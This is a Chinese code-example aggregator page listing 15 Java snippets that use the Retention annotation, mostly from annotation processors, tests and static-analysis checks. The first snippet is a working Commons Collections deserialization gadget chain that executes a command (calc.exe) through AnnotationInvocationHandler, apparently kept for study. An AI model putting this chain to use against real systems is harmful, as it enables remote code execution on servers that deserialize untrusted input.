當前位置: 首頁>>代碼示例>>Java>>正文


Java Retention類代碼示例

本文整理匯總了Java中java.lang.annotation.Retention的典型用法代碼示例。如果您正苦於以下問題:Java Retention類的具體用法?Java Retention怎麽用?Java Retention使用的例子?那麽, 這裏精選的類代碼示例或許可以為您提供幫助。


Retention類屬於java.lang.annotation包,在下文中一共展示了Retention類的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。

示例1: Reverse_Payload

import java.lang.annotation.Retention; //導入依賴的package包/類
public static Object Reverse_Payload() throws Exception {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class},
                    new Object[]{"calc.exe"})};
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map pocMap = new HashMap();
    pocMap.put("value", "value");
    Map outmap = TransformedMap.decorate(pocMap, null, transformerChain);
    //通過反射獲得AnnotationInvocationHandler類對象
    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    //通過反射獲得cls的構造函數
    Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
    //這裏需要設置Accessible為true,否則序列化失敗
    ctor.setAccessible(true);
    //通過newInstance()方法實例化對象
    Object instance = ctor.newInstance(Retention.class, outmap);
    return instance;
}
 
開發者ID:yrzx404,項目名稱:interview-question-code,代碼行數:25,代碼來源:App.java

示例2: buildTemplateConstraint

import java.lang.annotation.Retention; //導入依賴的package包/類
private JDefinedClass buildTemplateConstraint(String name) {
    try {
        JDefinedClass tplConstraint = codeModel._class(Config.CFG.getBasePackageName() + ".annot."+name, ClassType.ANNOTATION_TYPE_DECL);
        tplConstraint.annotate(Documented.class);
        tplConstraint.annotate(Retention.class).param("value", RetentionPolicy.RUNTIME);
        tplConstraint.annotate(Target.class).paramArray("value").param(ElementType.TYPE).param(ElementType.ANNOTATION_TYPE).param(ElementType.FIELD).param(ElementType.METHOD);
        
        // Using direct as I don't know how to build default { } with code model
        tplConstraint.direct("\n" + "    Class<?>[] groups() default {};\n" + "    String message() default \"Invalid value\";\n" + "    Class<? extends Payload>[] payload() default {};\n");
        
        // Hack to force the import of javax.validation.Payload
        tplConstraint.javadoc().addThrows((JClass) codeModel._ref(Payload.class)).add("Force import");
        
        return tplConstraint;
    } catch (JClassAlreadyExistsException e) {
        throw new RuntimeException("Tried to create an already existing class: " + name, e);
    }
}
 
開發者ID:hibernate,項目名稱:beanvalidation-benchmark,代碼行數:19,代碼來源:Jsr303Annotator.java

示例3: retention

import java.lang.annotation.Retention; //導入依賴的package包/類
private static ArchCondition<JavaClass> retention(final RetentionPolicy expected) {
	return new ArchCondition<JavaClass>("retention " + expected.name()) {
		@Override
		public void check(JavaClass item, ConditionEvents events) {
			Optional<Retention> annotation = item.tryGetAnnotationOfType(Retention.class);
			if (annotation.isPresent()) {
				RetentionPolicy actual = annotation.get().value();
				boolean equals = expected.equals(actual);
				String message = String.format("class %s is annotated with %s with value = '%s' which %s with required '%s'",
						item.getName(), Retention.class.getSimpleName(), actual.name(), equals ? "equals" : "not equals", expected.name()
				);
				events.add(equals ? SimpleConditionEvent.satisfied(item, message) : SimpleConditionEvent.violated(item, message));
			}
		}
	};
}
 
開發者ID:valery1707,項目名稱:russian-requisites-validator,代碼行數:17,代碼來源:ArchitectureTest.java

示例4: annotationWithValueMethod

import java.lang.annotation.Retention; //導入依賴的package包/類
@Test
public void annotationWithValueMethod() {
	Annotation annotation = Singleton.class.getAnnotation(Retention.class);
	cache.getQualifier(annotation);

	InOrder inOrder = inOrder(lock, cache);

	// initial call
	inOrder.verify(cache).getQualifier(annotation);

	// internal thread safe method lookup
	inOrder.verify(cache).getValueMethodThreadSafe(Retention.class);
	inOrder.verify(lock).lock();
	inOrder.verify(cache).getValueMethod(Retention.class);
	inOrder.verify(lock).unlock();

	// get Qualifier from value() method
	inOrder.verify(cache).getQualifier(any(Method.class), eq(annotation));

	inOrder.verifyNoMoreInteractions();
	verifyZeroInteractions(cache);
	assertThat(bindActionMap.size(), is(1));
}
 
開發者ID:ByteWelder,項目名稱:Spork,代碼行數:24,代碼來源:QualifierCacheTests.java

示例5: visitType

import java.lang.annotation.Retention; //導入依賴的package包/類
@Override
protected void visitType(TypeDefinition td) {
    if (!td.isAnnotation())
        return;
    DeclaredAnnotation da = getOrCreate(td);
    for (CustomAnnotation ca : td.getAnnotations()) {
        if (Types.is(ca.getAnnotationType(), Retention.class)) {
            for (AnnotationParameter ap : ca.getParameters()) {
                if (ap.getMember().equals("value")) {
                    AnnotationElement value = ap.getValue();
                    if (value instanceof EnumAnnotationElement) {
                        EnumAnnotationElement enumValue = (EnumAnnotationElement) value;
                        if (Types.is(enumValue.getEnumType(), RetentionPolicy.class)) {
                            da.policy = RetentionPolicy.valueOf(enumValue.getEnumConstantName());
                        }
                    }
                }
            }
        }
    }
}
 
開發者ID:amaembo,項目名稱:huntbugs,代碼行數:22,代碼來源:DeclaredAnnotations.java

示例6: process

import java.lang.annotation.Retention; //導入依賴的package包/類
@Override
public void process(TypeSpec.Builder typeBuilder, TypeModel typeModel) {
    String valuesStr = "";
    for (String key : getEnumValues(typeModel)) {
        valuesStr += key + ", ";
        typeBuilder.addField(FieldSpec.builder(ClassName.get(String.class), key)
                .addModifiers(Modifier.PUBLIC, Modifier.STATIC, Modifier.FINAL)
                .initializer("$S", key)
                .build());
    }

    AnnotationSpec.Builder retentionAnnotation = AnnotationSpec.builder(ClassName.get(Retention.class)).
            addMember("value", "$T.SOURCE", ClassName.get(RetentionPolicy.class));
    AnnotationSpec.Builder intDefAnnotation = AnnotationSpec.builder(ClassName.get("android.support.annotation", "StringDef"))
            .addMember("value", "{ $L }", valuesStr.substring(0, valuesStr.length() - 2));

    typeBuilder.addType(TypeSpec.annotationBuilder(metaInfo.getClassName() + "Def").
            addModifiers(Modifier.PUBLIC).
            addAnnotation(retentionAnnotation.build()).
            addAnnotation(intDefAnnotation.build()).
            build());
}
 
開發者ID:flipkart-incubator,項目名稱:Lyrics,代碼行數:23,代碼來源:StringDefValuesHandler.java

示例7: loadAndCheckAnnotatedAnnotation

import java.lang.annotation.Retention; //導入依賴的package包/類
@Test
public void loadAndCheckAnnotatedAnnotation() throws Exception {
    ClassInfo classInfo = ClassInfo.newAnnotation()
        .name("org.kordamp.naum.processor.klass.AnnotatedAnnotation")
        .iface(Annotation.class.getName())
        .build();
    classInfo.addToAnnotations(annotationInfo()
        .name(Retention.class.getName())
        .annotationValue("value", new EnumValue(RetentionPolicy.class.getName(), "SOURCE"))
        .build());
    classInfo.addToAnnotations(annotationInfo()
        .name(Target.class.getName())
        .annotationValue("value", newArrayValue(asList(
                newEnumValue(ElementType.class.getName(), ElementType.TYPE.name()),
                newEnumValue(ElementType.class.getName(), ElementType.FIELD.name()))
        ))
        .build());
    loadAndCheck("org/kordamp/naum/processor/klass/AnnotatedAnnotation.class", (klass) -> {
        assertThat(klass.getContentHash(), equalTo(classInfo.getContentHash()));
        assertThat(klass, equalTo(classInfo));
    });
}
 
開發者ID:aalmiray,項目名稱:naum,代碼行數:23,代碼來源:ClassTest.java

示例8: hasRuntimeAnnotations

import java.lang.annotation.Retention; //導入依賴的package包/類
private static boolean hasRuntimeAnnotations(PsiMethod method) {
  PsiAnnotation[] annotations = method.getModifierList().getAnnotations();
  for (PsiAnnotation annotation : annotations) {
    PsiJavaCodeReferenceElement ref = annotation.getNameReferenceElement();
    PsiElement target = ref != null ? ref.resolve() : null;
    if (target instanceof PsiClass) {
      final PsiAnnotation retentionAnno = AnnotationUtil.findAnnotation((PsiClass)target, Retention.class.getName());
      if (retentionAnno != null) {
        PsiAnnotationMemberValue value = retentionAnno.findAttributeValue("value");
        if (value instanceof PsiReferenceExpression) {
          final PsiElement resolved = ((PsiReferenceExpression)value).resolve();
          if (resolved instanceof PsiField && RetentionPolicy.RUNTIME.name().equals(((PsiField)resolved).getName())) {
            final PsiClass containingClass = ((PsiField)resolved).getContainingClass();
            if (containingClass != null && RetentionPolicy.class.getName().equals(containingClass.getQualifiedName())) {
              return true;
            }
          }
        }
      }
    }
  }
  return false;
}
 
開發者ID:jskierbi,項目名稱:intellij-ce-playground,代碼行數:24,代碼來源:AnonymousCanBeLambdaInspection.java

示例9: getAllReflectionClasses

import java.lang.annotation.Retention; //導入依賴的package包/類
private void getAllReflectionClasses() throws NotFoundException{

		//System annotations
		addClassIfNotExists(typeOracle.getType(Retention.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		addClassIfNotExists(typeOracle.getType(Documented.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		addClassIfNotExists(typeOracle.getType(Inherited.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		addClassIfNotExists(typeOracle.getType(Target.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		addClassIfNotExists(typeOracle.getType(Deprecated.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		//typeOracle.getType("org.lirazs.gbackbone.client.test.reflection.TestReflectionGenerics.TestReflection1");
		
		//=====GWT0.7
		for (JClassType classType : typeOracle.getTypes()) {
			Reflectable reflectable = GenUtils.getClassTypeAnnotationWithMataAnnotation(classType, Reflectable.class);
			if (reflectable != null){
				processClass(classType, reflectable);
				
				if (reflectable.assignableClasses()){
					for (JClassType type : classType.getSubtypes()){
						processClass(type, reflectable);
					}
				}
			}
		}
		//======end of gwt0.7
	}
 
開發者ID:liraz,項目名稱:gwt-backbone,代碼行數:26,代碼來源:ReflectAllInOneCreator.java

示例10: getDeclaredAnnotationClass

import java.lang.annotation.Retention; //導入依賴的package包/類
@Nullable
private static Class<Annotation> getDeclaredAnnotationClass(AnnotationMirror mirror) throws ClassNotFoundException {
    TypeElement element = (TypeElement) mirror.getAnnotationType().asElement();
    // Ensure the annotation has the correct retention and targets.
    Retention retention = element.getAnnotation(Retention.class);
    if (retention != null && retention.value() != RetentionPolicy.RUNTIME) {
        return null;
    }
    Target target = element.getAnnotation(Target.class);
    if (target != null) {
        if (target.value().length < 2) {
            return null;
        }
        List<ElementType> targets = Arrays.asList(target.value());
        if (!(targets.contains(ElementType.TYPE) && targets.contains(ElementType.ANNOTATION_TYPE))) {
            return null;
        }
    }
    return (Class<Annotation>) Class.forName(element.getQualifiedName().toString());
}
 
開發者ID:evant,項目名稱:autodata,代碼行數:21,代碼來源:AutoDataAnnotationProcessor.java

示例11: matchClass

import java.lang.annotation.Retention; //導入依賴的package包/類
@Override
public final Description matchClass(ClassTree classTree, VisitorState state) {
  if (SCOPE_OR_QUALIFIER_ANNOTATION_MATCHER.matches(classTree, state)) {
    ClassSymbol classSymbol = ASTHelpers.getSymbol(classTree);
    if (hasSourceRetention(classSymbol)) {
      return describe(classTree, state, ASTHelpers.getAnnotation(classSymbol, Retention.class));
    }

    // TODO(glorioso): This is a poor hack to exclude android apps that are more likely to not
    // have reflective DI than normal java. JSR spec still says the annotations should be
    // runtime-retained, but this reduces the instances that are flagged.
    if (!state.isAndroidCompatible() && doesNotHaveRuntimeRetention(classSymbol)) {
      // Is this in a dagger component?
      ClassTree outer = ASTHelpers.findEnclosingNode(state.getPath(), ClassTree.class);
      if (outer != null && InjectMatchers.IS_DAGGER_COMPONENT_OR_MODULE.matches(outer, state)) {
        return Description.NO_MATCH;
      }
      return describe(classTree, state, ASTHelpers.getAnnotation(classSymbol, Retention.class));
    }
  }
  return Description.NO_MATCH;
}
 
開發者ID:google,項目名稱:error-prone,代碼行數:23,代碼來源:ScopeOrQualifierAnnotationRetention.java

示例12: describe

import java.lang.annotation.Retention; //導入依賴的package包/類
private Description describe(
    ClassTree classTree, VisitorState state, @Nullable Retention retention) {
  if (retention == null) {
    return describeMatch(
        classTree,
        SuggestedFix.builder()
            .addImport("java.lang.annotation.Retention")
            .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
            .prefixWith(classTree, "@Retention(RUNTIME)\n")
            .build());
  }
  AnnotationTree retentionNode = null;
  for (AnnotationTree annotation : classTree.getModifiers().getAnnotations()) {
    if (ASTHelpers.getSymbol(annotation)
        .equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
      retentionNode = annotation;
    }
  }
  return describeMatch(
      retentionNode,
      SuggestedFix.builder()
          .addImport("java.lang.annotation.Retention")
          .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
          .replace(retentionNode, "@Retention(RUNTIME)")
          .build());
}
 
開發者ID:google,項目名稱:error-prone,代碼行數:27,代碼來源:ScopeOrQualifierAnnotationRetention.java

示例13: test_isAnnotationPresent_Cla

import java.lang.annotation.Retention; //導入依賴的package包/類
/**
 *  
 */
public void test_isAnnotationPresent_Cla() {
	class e {};
	assertFalse("zzz annotation is not presented for e class!", 
                     e.class.isAnnotationPresent(zzz.class));
          assertFalse("zzz annotation is not presented for zzz class!", 
                     zzz.class.isAnnotationPresent(zzz.class));
	assertTrue("Target annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Target.class));
	assertTrue("Documented annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Documented.class));
	assertTrue("Retention annotation is presented for zzz class!", 
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Retention.class));
}
 
開發者ID:shannah,項目名稱:cn1,代碼行數:20,代碼來源:Class1_5Test.java

示例14: test_getAnnotation_Cla

import java.lang.annotation.Retention; //導入依賴的package包/類
/**
 *  
 */
public void test_getAnnotation_Cla() {
	class e {};
	assertNull("zzz annotation is not presented in e class!", 
                  e.class.getAnnotation(zzz.class));
	assertNull("zzz annotation is not presented in zzz class!", 
                  zzz.class.getAnnotation(zzz.class));
	assertFalse("Target annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Target.class)
                     .toString().indexOf("java.lang.annotation.Target") == -1);
	assertFalse("Documented annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Documented.class)
                     .toString().indexOf("java.lang.annotation.Documented") == -1);
          assertFalse("Retention annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Retention.class)
                     .toString().indexOf("java.lang.annotation.Retention") == -1);
}
 
開發者ID:shannah,項目名稱:cn1,代碼行數:20,代碼來源:Class1_5Test.java

示例15: describe

import java.lang.annotation.Retention; //導入依賴的package包/類
public Description describe(ClassTree classTree, VisitorState state) {
  Retention retention = ASTHelpers.getAnnotation(classTree, Retention.class);
  if (retention == null) {
    return describeMatch(classTree, new SuggestedFix().addImport(
        "java.lang.annotation.Retention")
        .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
        .prefixWith(classTree, "@Retention(RUNTIME)\n"));
  }
  AnnotationTree retentionNode = null;
  for (AnnotationTree annotation : classTree.getModifiers().getAnnotations()) {
    if (ASTHelpers.getSymbol(annotation)
        .equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
      retentionNode = annotation;
    }
  }
  return describeMatch(retentionNode, new SuggestedFix().addImport(
      "java.lang.annotation.Retention")
      .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
      .replace(retentionNode, "@Retention(RUNTIME)"));
}
 
開發者ID:diy1,項目名稱:error-prone-aspirator,代碼行數:21,代碼來源:InjectScopeOrQualifierAnnotationRetention.java


注:本文中的java.lang.annotation.Retention類示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。